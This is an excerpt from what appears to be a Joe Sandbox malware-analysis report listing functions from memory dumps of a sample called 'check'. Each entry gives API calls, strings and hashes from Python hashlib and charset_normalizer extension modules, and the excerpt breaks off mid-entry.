Instruction Fuzzy Hash: F3217CB2A08F51C6FB608B92E844669A2A5FF88BE4F184630DE8D47754DF3CD944CB00

Function 00007FF810C92B60 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

PyObject_IsTrue.PYTHON313 ref: 00007FF810C92BDB

Part of subcall function 00007FF810C91E20: PyModule_GetState.PYTHON313 ref: 00007FF810C91E82
Part of subcall function 00007FF810C91E20: _Py_hashtable_get.PYTHON313 ref: 00007FF810C91E92
Part of subcall function 00007FF810C91E20: EVP_MD_up_ref.LIBCRYPTO-3 ref: 00007FF810C91EB8
Part of subcall function 00007FF810C91E20: EVP_MD_get_flags.LIBCRYPTO-3 ref: 00007FF810C91EEC
Part of subcall function 00007FF810C91E20: PyModule_GetState.PYTHON313 ref: 00007FF810C91EFD
Part of subcall function 00007FF810C91E20: _PyObject_New.PYTHON313 ref: 00007FF810C91F06
Part of subcall function 00007FF810C91E20: EVP_MD_CTX_new.LIBCRYPTO-3 ref: 00007FF810C91F18
Part of subcall function 00007FF810C91E20: EVP_DigestInit_ex.LIBCRYPTO-3 ref: 00007FF810C91F34
Part of subcall function 00007FF810C91E20: EVP_MD_free.LIBCRYPTO-3 ref: 00007FF810C91F78

_PyArg_UnpackKeywords.PYTHON313 ref: 00007FF810C92C2B

Strings

sha1, xrefs: 00007FF810C92B9E

Memory Dump Source

Source File: 0000001D.00000002.2002247243.00007FF810C91000.00000020.00000001.01000000.0000005A.sdmp, Offset: 00007FF810C90000, based on PE: true

Associated: 0000001D.00000002.2002181590.00007FF810C90000.00000002.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002310235.00007FF810C96000.00000002.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002377589.00007FF810C9B000.00000004.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002440876.00007FF810C9D000.00000002.00000001.01000000.0000005A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c90000_check.jbxd

Similarity

API ID: Module_Object_State$Arg_D_freeD_get_flagsD_up_refDigestInit_exKeywordsPy_hashtable_getTrueUnpackX_new
String ID: sha1
API String ID: 668498394-858918954
Opcode ID: 5eb90fb982943358103f29e8b672650407fcb6c08637987bfbf63a5724962ec3
Instruction ID: 0e55968efd4af91a00c235a4d50dc6c6cc83de1fa9cece469f6f488ab73fdb8f
Opcode Fuzzy Hash: 5eb90fb982943358103f29e8b672650407fcb6c08637987bfbf63a5724962ec3
Instruction Fuzzy Hash: 80216DB6A08F51C6EB608F92E8546A963A5FF88BE4F084630DE8E43755DF7CD5418B40

Function 00007FF810C93260 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

PyObject_IsTrue.PYTHON313 ref: 00007FF810C932DB

Part of subcall function 00007FF810C91E20: PyModule_GetState.PYTHON313 ref: 00007FF810C91E82
Part of subcall function 00007FF810C91E20: _Py_hashtable_get.PYTHON313 ref: 00007FF810C91E92
Part of subcall function 00007FF810C91E20: EVP_MD_up_ref.LIBCRYPTO-3 ref: 00007FF810C91EB8
Part of subcall function 00007FF810C91E20: EVP_MD_get_flags.LIBCRYPTO-3 ref: 00007FF810C91EEC
Part of subcall function 00007FF810C91E20: PyModule_GetState.PYTHON313 ref: 00007FF810C91EFD
Part of subcall function 00007FF810C91E20: _PyObject_New.PYTHON313 ref: 00007FF810C91F06
Part of subcall function 00007FF810C91E20: EVP_MD_CTX_new.LIBCRYPTO-3 ref: 00007FF810C91F18
Part of subcall function 00007FF810C91E20: EVP_DigestInit_ex.LIBCRYPTO-3 ref: 00007FF810C91F34
Part of subcall function 00007FF810C91E20: EVP_MD_free.LIBCRYPTO-3 ref: 00007FF810C91F78

_PyArg_UnpackKeywords.PYTHON313 ref: 00007FF810C9332B

Strings

shake_256, xrefs: 00007FF810C9329E

Memory Dump Source

Source File: 0000001D.00000002.2002247243.00007FF810C91000.00000020.00000001.01000000.0000005A.sdmp, Offset: 00007FF810C90000, based on PE: true

Associated: 0000001D.00000002.2002181590.00007FF810C90000.00000002.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002310235.00007FF810C96000.00000002.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002377589.00007FF810C9B000.00000004.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002440876.00007FF810C9D000.00000002.00000001.01000000.0000005A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c90000_check.jbxd

Similarity

API ID: Module_Object_State$Arg_D_freeD_get_flagsD_up_refDigestInit_exKeywordsPy_hashtable_getTrueUnpackX_new
String ID: shake_256
API String ID: 668498394-3942869344
Opcode ID: 1d8aac3feac498c9dd7af8e5d78207d06bc5301275806309ee5672783880b20e
Instruction ID: a2ac4fc087ea3307738bf94a7f0aec17441748574c7451ee2610da1a2bb871d3
Opcode Fuzzy Hash: 1d8aac3feac498c9dd7af8e5d78207d06bc5301275806309ee5672783880b20e
Instruction Fuzzy Hash: 3A217FB2608F42C6EB608B92EC44669A3A4FF88BE4F489230DE4D43756DF7DE541CB00

Function 00007FF810C92E00 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

PyObject_IsTrue.PYTHON313 ref: 00007FF810C92E7B

Part of subcall function 00007FF810C91E20: PyModule_GetState.PYTHON313 ref: 00007FF810C91E82
Part of subcall function 00007FF810C91E20: _Py_hashtable_get.PYTHON313 ref: 00007FF810C91E92
Part of subcall function 00007FF810C91E20: EVP_MD_up_ref.LIBCRYPTO-3 ref: 00007FF810C91EB8
Part of subcall function 00007FF810C91E20: EVP_MD_get_flags.LIBCRYPTO-3 ref: 00007FF810C91EEC
Part of subcall function 00007FF810C91E20: PyModule_GetState.PYTHON313 ref: 00007FF810C91EFD
Part of subcall function 00007FF810C91E20: _PyObject_New.PYTHON313 ref: 00007FF810C91F06
Part of subcall function 00007FF810C91E20: EVP_MD_CTX_new.LIBCRYPTO-3 ref: 00007FF810C91F18
Part of subcall function 00007FF810C91E20: EVP_DigestInit_ex.LIBCRYPTO-3 ref: 00007FF810C91F34
Part of subcall function 00007FF810C91E20: EVP_MD_free.LIBCRYPTO-3 ref: 00007FF810C91F78

_PyArg_UnpackKeywords.PYTHON313 ref: 00007FF810C92ECB

Strings

sha224, xrefs: 00007FF810C92E3E

Memory Dump Source

Source File: 0000001D.00000002.2002247243.00007FF810C91000.00000020.00000001.01000000.0000005A.sdmp, Offset: 00007FF810C90000, based on PE: true

Associated: 0000001D.00000002.2002181590.00007FF810C90000.00000002.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002310235.00007FF810C96000.00000002.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002377589.00007FF810C9B000.00000004.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002440876.00007FF810C9D000.00000002.00000001.01000000.0000005A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c90000_check.jbxd

Similarity

API ID: Module_Object_State$Arg_D_freeD_get_flagsD_up_refDigestInit_exKeywordsPy_hashtable_getTrueUnpackX_new
String ID: sha224
API String ID: 668498394-4253541148
Opcode ID: 70b8a19bc1cc74f33185338e204f5564fef840a8eb572870d12c299672c60b0c
Instruction ID: 3e709ee953d2981c3941f9c1a2716d29b9946a9a559a6c20fffe230418514591
Opcode Fuzzy Hash: 70b8a19bc1cc74f33185338e204f5564fef840a8eb572870d12c299672c60b0c
Instruction Fuzzy Hash: 9E2183B5609F51C6EF608B92E8446697295FF48BE5F484235DE8D43754DF3CD941CB00

Function 00007FF810C92D20 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

PyObject_IsTrue.PYTHON313 ref: 00007FF810C92D9B

Part of subcall function 00007FF810C91E20: PyModule_GetState.PYTHON313 ref: 00007FF810C91E82
Part of subcall function 00007FF810C91E20: _Py_hashtable_get.PYTHON313 ref: 00007FF810C91E92
Part of subcall function 00007FF810C91E20: EVP_MD_up_ref.LIBCRYPTO-3 ref: 00007FF810C91EB8
Part of subcall function 00007FF810C91E20: EVP_MD_get_flags.LIBCRYPTO-3 ref: 00007FF810C91EEC
Part of subcall function 00007FF810C91E20: PyModule_GetState.PYTHON313 ref: 00007FF810C91EFD
Part of subcall function 00007FF810C91E20: _PyObject_New.PYTHON313 ref: 00007FF810C91F06
Part of subcall function 00007FF810C91E20: EVP_MD_CTX_new.LIBCRYPTO-3 ref: 00007FF810C91F18
Part of subcall function 00007FF810C91E20: EVP_DigestInit_ex.LIBCRYPTO-3 ref: 00007FF810C91F34
Part of subcall function 00007FF810C91E20: EVP_MD_free.LIBCRYPTO-3 ref: 00007FF810C91F78

_PyArg_UnpackKeywords.PYTHON313 ref: 00007FF810C92DEB

Strings

sha384, xrefs: 00007FF810C92D5E

Memory Dump Source

Source File: 0000001D.00000002.2002247243.00007FF810C91000.00000020.00000001.01000000.0000005A.sdmp, Offset: 00007FF810C90000, based on PE: true

Associated: 0000001D.00000002.2002181590.00007FF810C90000.00000002.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002310235.00007FF810C96000.00000002.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002377589.00007FF810C9B000.00000004.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002440876.00007FF810C9D000.00000002.00000001.01000000.0000005A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c90000_check.jbxd

Similarity

API ID: Module_Object_State$Arg_D_freeD_get_flagsD_up_refDigestInit_exKeywordsPy_hashtable_getTrueUnpackX_new
String ID: sha384
API String ID: 668498394-111829409
Opcode ID: ed64e591d2637e35c2c0792f443ab5a6a940f6338e452bca7ffe72ffe6699bbf
Instruction ID: 3b11543e1c7f92e432438f54d8b27eab3fc225357a055d143301bdc431414c4b
Opcode Fuzzy Hash: ed64e591d2637e35c2c0792f443ab5a6a940f6338e452bca7ffe72ffe6699bbf
Instruction Fuzzy Hash: FD2180B2609F41C6FF608B92E81466962A5FF88BE4F484230DE8D47759DF7CD945CB40

Function 00007FF810C49750 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 43COMMON

Download Yara Rule

APIs

PyType_IsSubtype.PYTHON313 ref: 00007FF810C4978B

Part of subcall function 00007FF810C43880: PyErr_Format.PYTHON313 ref: 00007FF810C438B4

Part of subcall function 00007FF810C43900: PyThreadState_Get.PYTHON313 ref: 00007FF810C43922
Part of subcall function 00007FF810C43900: PyErr_Fetch.PYTHON313 ref: 00007FF810C4393A
Part of subcall function 00007FF810C43900: PyCode_NewEmpty.PYTHON313 ref: 00007FF810C4394D
Part of subcall function 00007FF810C43900: PyFrame_New.PYTHON313 ref: 00007FF810C43967
Part of subcall function 00007FF810C43900: _Py_Dealloc.PYTHON313 ref: 00007FF810C43982
Part of subcall function 00007FF810C43900: _PyErr_ChainExceptions1.PYTHON313 ref: 00007FF810C4398D

Strings

charset_normalizer.md.MessDetectorPlugin, xrefs: 00007FF810C49798
reset, xrefs: 00007FF810C497AB

Memory Dump Source

Source File: 0000001D.00000002.2001338780.00007FF810C41000.00000020.00000001.01000000.0000005D.sdmp, Offset: 00007FF810C40000, based on PE: true

Associated: 0000001D.00000002.2001277354.00007FF810C40000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001429552.00007FF810C55000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001466920.00007FF810C5B000.00000004.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001527977.00007FF810C5F000.00000002.00000001.01000000.0000005D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c40000_check.jbxd

Similarity

API ID: Err_$ChainCode_DeallocEmptyExceptions1FetchFormatFrame_State_SubtypeThreadType_
String ID: charset_normalizer.md.MessDetectorPlugin$reset
API String ID: 2783664582-4122180197
Opcode ID: 00786d121420a2be3833c85b9e0df65814c97a2d9e9c5563f2a71d721043a1ff
Instruction ID: c3e8eb4d0ff4f61679a10fa6a918181a017303472878aff434170342027e81cd
Opcode Fuzzy Hash: 00786d121420a2be3833c85b9e0df65814c97a2d9e9c5563f2a71d721043a1ff
Instruction Fuzzy Hash: D001BC68F18E0741EB18AF62DC511F522A1BF65BE4F488232CD0E8B391DE2CE881CF00

Function 00007FF810C52A5B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 40COMMON

Download Yara Rule

APIs

PyImport_Import.PYTHON313 ref: 00007FF810C52A62
_Py_Dealloc.PYTHON313 ref: 00007FF810C52A99

Strings

<module>, xrefs: 00007FF810C53EFB

Memory Dump Source

Source File: 0000001D.00000002.2001338780.00007FF810C41000.00000020.00000001.01000000.0000005D.sdmp, Offset: 00007FF810C40000, based on PE: true

Associated: 0000001D.00000002.2001277354.00007FF810C40000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001429552.00007FF810C55000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001466920.00007FF810C5B000.00000004.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001527977.00007FF810C5F000.00000002.00000001.01000000.0000005D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c40000_check.jbxd

Similarity

API ID: DeallocImportImport_
String ID: <module>
API String ID: 187899110-217463007
Opcode ID: 2140dc46f0a14eb29118f8b1beee885a42e8f440eae3fa39a07b3cf5894b629d
Instruction ID: 718156c3fffcf05b13ca9103739017e7ab77605392a0845413e63b9d134fa24a
Opcode Fuzzy Hash: 2140dc46f0a14eb29118f8b1beee885a42e8f440eae3fa39a07b3cf5894b629d
Instruction Fuzzy Hash: 93012D6DB09E0341EB158F19AC1117432A2AFA5BF4F048735D89F873A0EE3DB8419F00

Function 00007FF810C495C0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24COMMON

Download Yara Rule

APIs

PyObject_GetAttr.PYTHON313 ref: 00007FF810C495D4

Part of subcall function 00007FF810C435A0: PyObject_IsInstance.PYTHON313 ref: 00007FF810C435B0
Part of subcall function 00007FF810C435A0: PyObject_CallNoArgs.PYTHON313 ref: 00007FF810C435C2
Part of subcall function 00007FF810C435A0: PyErr_SetObject.PYTHON313 ref: 00007FF810C435D6
Part of subcall function 00007FF810C435A0: _Py_Dealloc.PYTHON313 ref: 00007FF810C435EA

_Py_Dealloc.PYTHON313 ref: 00007FF810C495F8

Strings

feed, xrefs: 00007FF810C49605

Memory Dump Source

Source File: 0000001D.00000002.2001338780.00007FF810C41000.00000020.00000001.01000000.0000005D.sdmp, Offset: 00007FF810C40000, based on PE: true

Associated: 0000001D.00000002.2001277354.00007FF810C40000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001429552.00007FF810C55000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001466920.00007FF810C5B000.00000004.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001527977.00007FF810C5F000.00000002.00000001.01000000.0000005D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c40000_check.jbxd

Similarity

API ID: Object_$Dealloc$ArgsAttrCallErr_InstanceObject
String ID: feed
API String ID: 1069087923-591414443
Opcode ID: 4a58aed60292fc91152b148b19da284e54b392f86615e47b7a545060b5d2afd8
Instruction ID: 1e93f40f7146879cd39dbaa4a4c7255f859fbae1033424c1f6cf0b982bffac4b
Opcode Fuzzy Hash: 4a58aed60292fc91152b148b19da284e54b392f86615e47b7a545060b5d2afd8
Instruction Fuzzy Hash: 7EF0FE69F19E0681FB155B61EC982B52360BF64BF4F445231C84F8A3A5DE2CE1448F00

Function 00007FF810C497F0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24COMMON

Download Yara Rule

APIs

PyObject_GetAttr.PYTHON313 ref: 00007FF810C49804

Part of subcall function 00007FF810C435A0: PyObject_IsInstance.PYTHON313 ref: 00007FF810C435B0
Part of subcall function 00007FF810C435A0: PyObject_CallNoArgs.PYTHON313 ref: 00007FF810C435C2
Part of subcall function 00007FF810C435A0: PyErr_SetObject.PYTHON313 ref: 00007FF810C435D6
Part of subcall function 00007FF810C435A0: _Py_Dealloc.PYTHON313 ref: 00007FF810C435EA

_Py_Dealloc.PYTHON313 ref: 00007FF810C49828

Strings

ratio, xrefs: 00007FF810C49835

Memory Dump Source

Source File: 0000001D.00000002.2001338780.00007FF810C41000.00000020.00000001.01000000.0000005D.sdmp, Offset: 00007FF810C40000, based on PE: true

Associated: 0000001D.00000002.2001277354.00007FF810C40000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001429552.00007FF810C55000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001466920.00007FF810C5B000.00000004.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001527977.00007FF810C5F000.00000002.00000001.01000000.0000005D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c40000_check.jbxd

Similarity

API ID: Object_$Dealloc$ArgsAttrCallErr_InstanceObject
String ID: ratio
API String ID: 1069087923-4234197119
Opcode ID: 8603ab3993c4a25ea7948279a83945284bfa7a5135b56b6dbda1112722c41be6
Instruction ID: d4c3773ac6f928112f7759244c54972f891b233697d29dbb3556073a10d3de2c
Opcode Fuzzy Hash: 8603ab3993c4a25ea7948279a83945284bfa7a5135b56b6dbda1112722c41be6
Instruction Fuzzy Hash: 1CF0D069F19E0680FB155B65EC541B52360BF65BE8F445231C84E8A3A6DE2CA4808F41

Function 00007FF810C454F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 24COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON313 ref: 00007FF810C4550A

Strings

bool, xrefs: 00007FF810C45527
'TooManySymbolOrPunctuationPlugin' object attribute '_frenzy_symbol_in_word' cannot be deleted, xrefs: 00007FF810C45500

Memory Dump Source

Source File: 0000001D.00000002.2001338780.00007FF810C41000.00000020.00000001.01000000.0000005D.sdmp, Offset: 00007FF810C40000, based on PE: true

Associated: 0000001D.00000002.2001277354.00007FF810C40000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001429552.00007FF810C55000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001466920.00007FF810C5B000.00000004.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001527977.00007FF810C5F000.00000002.00000001.01000000.0000005D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c40000_check.jbxd

Similarity

API ID: Err_String
String ID: 'TooManySymbolOrPunctuationPlugin' object attribute '_frenzy_symbol_in_word' cannot be deleted$bool
API String ID: 1450464846-825057536
Opcode ID: 8d4095035e78e20f58155bde9caed5cad7818648dd334c97122ea955dcf2e390
Instruction ID: 0216e99ba52e610e4c0c54cffc6c8281b0f437dcba67479cb2b9cc22f1c18c88
Opcode Fuzzy Hash: 8d4095035e78e20f58155bde9caed5cad7818648dd334c97122ea955dcf2e390
Instruction Fuzzy Hash: B1F03A69F05D0291DB049729ECA00397661BF787F0F944331D55EC63E1EE2CE4968B00

Function 00007FF810C496F0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24COMMON

Download Yara Rule

APIs

PyObject_GetAttr.PYTHON313 ref: 00007FF810C49704

Part of subcall function 00007FF810C435A0: PyObject_IsInstance.PYTHON313 ref: 00007FF810C435B0
Part of subcall function 00007FF810C435A0: PyObject_CallNoArgs.PYTHON313 ref: 00007FF810C435C2
Part of subcall function 00007FF810C435A0: PyErr_SetObject.PYTHON313 ref: 00007FF810C435D6
Part of subcall function 00007FF810C435A0: _Py_Dealloc.PYTHON313 ref: 00007FF810C435EA

_Py_Dealloc.PYTHON313 ref: 00007FF810C49728

Strings

reset, xrefs: 00007FF810C49735

Memory Dump Source

Source File: 0000001D.00000002.2001338780.00007FF810C41000.00000020.00000001.01000000.0000005D.sdmp, Offset: 00007FF810C40000, based on PE: true

Associated: 0000001D.00000002.2001277354.00007FF810C40000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001429552.00007FF810C55000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001466920.00007FF810C5B000.00000004.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001527977.00007FF810C5F000.00000002.00000001.01000000.0000005D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c40000_check.jbxd

Similarity

API ID: Object_$Dealloc$ArgsAttrCallErr_InstanceObject
String ID: reset
API String ID: 1069087923-1352515405
Opcode ID: ce42ffb1c8a942a2dc70c103cbeeb8eed7c2dd42c7977edfc7752f25e15aa38c
Instruction ID: b5a42ade1592316b8249bc1e492d6ab8e889a55b7cd0f5a4ccbf8d0c7186fef0
Opcode Fuzzy Hash: ce42ffb1c8a942a2dc70c103cbeeb8eed7c2dd42c7977edfc7752f25e15aa38c
Instruction Fuzzy Hash: ECF0FE69F29E0780FB255F61AC582B52360BF64BF4F449231C88E8A3A5DE2CE1408F01

Function 00007FF810C48CF0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 24COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON313 ref: 00007FF810C48D0A

Strings

'ArchaicUpperLowerPlugin' object attribute '_current_ascii_only' cannot be deleted, xrefs: 00007FF810C48D00
bool, xrefs: 00007FF810C48D27

Memory Dump Source

Source File: 0000001D.00000002.2001338780.00007FF810C41000.00000020.00000001.01000000.0000005D.sdmp, Offset: 00007FF810C40000, based on PE: true

Associated: 0000001D.00000002.2001277354.00007FF810C40000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001429552.00007FF810C55000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001466920.00007FF810C5B000.00000004.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001527977.00007FF810C5F000.00000002.00000001.01000000.0000005D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c40000_check.jbxd

Similarity

API ID: Err_String
String ID: 'ArchaicUpperLowerPlugin' object attribute '_current_ascii_only' cannot be deleted$bool
API String ID: 1450464846-1261582747
Opcode ID: 96b0c32c6f7745ceeea57728d7357d2a16e2208681052ddc60c78446cbdb891c
Instruction ID: 54c57329295f97ae46ae329dd7faf4f01d472894a870a8eaf82d6aa1ddfc6ffe
Opcode Fuzzy Hash: 96b0c32c6f7745ceeea57728d7357d2a16e2208681052ddc60c78446cbdb891c
Instruction Fuzzy Hash: A5F0FE69F06D0291DB049B29DCA01696660BF747F0F944731D55EC63E0EE2CE59ACB00

Function 00007FF810C476E0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 24COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON313 ref: 00007FF810C476FA

Strings

bool, xrefs: 00007FF810C47717
'SuperWeirdWordPlugin' object attribute '_foreign_long_watch' cannot be deleted, xrefs: 00007FF810C476F0

Memory Dump Source

Source File: 0000001D.00000002.2001338780.00007FF810C41000.00000020.00000001.01000000.0000005D.sdmp, Offset: 00007FF810C40000, based on PE: true

Associated: 0000001D.00000002.2001277354.00007FF810C40000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001429552.00007FF810C55000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001466920.00007FF810C5B000.00000004.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001527977.00007FF810C5F000.00000002.00000001.01000000.0000005D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c40000_check.jbxd

Similarity

API ID: Err_String
String ID: 'SuperWeirdWordPlugin' object attribute '_foreign_long_watch' cannot be deleted$bool
API String ID: 1450464846-232606992
Opcode ID: f8fd69dfa5a3af49416a6c430f8b41ba3ad2735c41bd327ef1a8b0ee27c2382d
Instruction ID: 75a44533935c414b0e15050a85cde9adc81263cefdd447b1a728d4e6888005d0
Opcode Fuzzy Hash: f8fd69dfa5a3af49416a6c430f8b41ba3ad2735c41bd327ef1a8b0ee27c2382d
Instruction Fuzzy Hash: 4AF05E69F09E0280DB049729DCA00292660BF787F0FD44331D45E863E0EE2CE496CB00

Function 00007FF810C49490 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24COMMON

Download Yara Rule

APIs

PyObject_GetAttr.PYTHON313 ref: 00007FF810C494A4

Part of subcall function 00007FF810C435A0: PyObject_IsInstance.PYTHON313 ref: 00007FF810C435B0
Part of subcall function 00007FF810C435A0: PyObject_CallNoArgs.PYTHON313 ref: 00007FF810C435C2
Part of subcall function 00007FF810C435A0: PyErr_SetObject.PYTHON313 ref: 00007FF810C435D6
Part of subcall function 00007FF810C435A0: _Py_Dealloc.PYTHON313 ref: 00007FF810C435EA

_Py_Dealloc.PYTHON313 ref: 00007FF810C494C8

Strings

eligible, xrefs: 00007FF810C494D5

Memory Dump Source

Source File: 0000001D.00000002.2001338780.00007FF810C41000.00000020.00000001.01000000.0000005D.sdmp, Offset: 00007FF810C40000, based on PE: true

Associated: 0000001D.00000002.2001277354.00007FF810C40000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001429552.00007FF810C55000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001466920.00007FF810C5B000.00000004.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001527977.00007FF810C5F000.00000002.00000001.01000000.0000005D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c40000_check.jbxd

Similarity

API ID: Object_$Dealloc$ArgsAttrCallErr_InstanceObject
String ID: eligible
API String ID: 1069087923-1278981203
Opcode ID: 3b5b801498162e7c547b4d71c446029e6a4c1e933a9b263e101a40dd24f75140
Instruction ID: 8881ffdc9bd679cfdca958e90046b614788d17383925109d2030252e90ad6b30
Opcode Fuzzy Hash: 3b5b801498162e7c547b4d71c446029e6a4c1e933a9b263e101a40dd24f75140
Instruction Fuzzy Hash: C3F0F869F19E0684FB285B61EC582B52360BF68BF4F446631D84E8A7A5DE2CE5818F00

Function 00007FF810C47650 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 24COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON313 ref: 00007FF810C4766A

Strings

'SuperWeirdWordPlugin' object attribute '_is_current_word_bad' cannot be deleted, xrefs: 00007FF810C47660
bool, xrefs: 00007FF810C47687

Memory Dump Source

Source File: 0000001D.00000002.2001338780.00007FF810C41000.00000020.00000001.01000000.0000005D.sdmp, Offset: 00007FF810C40000, based on PE: true

Associated: 0000001D.00000002.2001277354.00007FF810C40000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001429552.00007FF810C55000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001466920.00007FF810C5B000.00000004.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001527977.00007FF810C5F000.00000002.00000001.01000000.0000005D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c40000_check.jbxd

Similarity

API ID: Err_String
String ID: 'SuperWeirdWordPlugin' object attribute '_is_current_word_bad' cannot be deleted$bool
API String ID: 1450464846-604167972
Opcode ID: daeb65033059735111a3f5b69a008a2dc7dfdc29b644c25e6b47a40c6d646135
Instruction ID: 315e0153026e4551edfc3e4ec6b41e0406653c6ce639b01c09a3b561a5ebb7ec
Opcode Fuzzy Hash: daeb65033059735111a3f5b69a008a2dc7dfdc29b644c25e6b47a40c6d646135
Instruction Fuzzy Hash: 5FF0FE69F15D0291DB049729DCA01696661BF787F0F944731D55E863E0EE2CE5968B00

Function 00007FF810C48660 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 24COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON313 ref: 00007FF810C4867A

Strings

'ArchaicUpperLowerPlugin' object attribute '_buf' cannot be deleted, xrefs: 00007FF810C48670
bool, xrefs: 00007FF810C48697

Memory Dump Source

Source File: 0000001D.00000002.2001338780.00007FF810C41000.00000020.00000001.01000000.0000005D.sdmp, Offset: 00007FF810C40000, based on PE: true

Associated: 0000001D.00000002.2001277354.00007FF810C40000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001429552.00007FF810C55000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001466920.00007FF810C5B000.00000004.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001527977.00007FF810C5F000.00000002.00000001.01000000.0000005D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c40000_check.jbxd

Similarity

API ID: Err_String
String ID: 'ArchaicUpperLowerPlugin' object attribute '_buf' cannot be deleted$bool
API String ID: 1450464846-2595685569
Opcode ID: 669b8c93b02d8f58aee77aff0d1a32ea60cca935c26099df29fd96ba3e98f65b
Instruction ID: e4f9332029d57e20195c5ef114ad4b9eebb164312c2a9f93ab42effd456abb8a
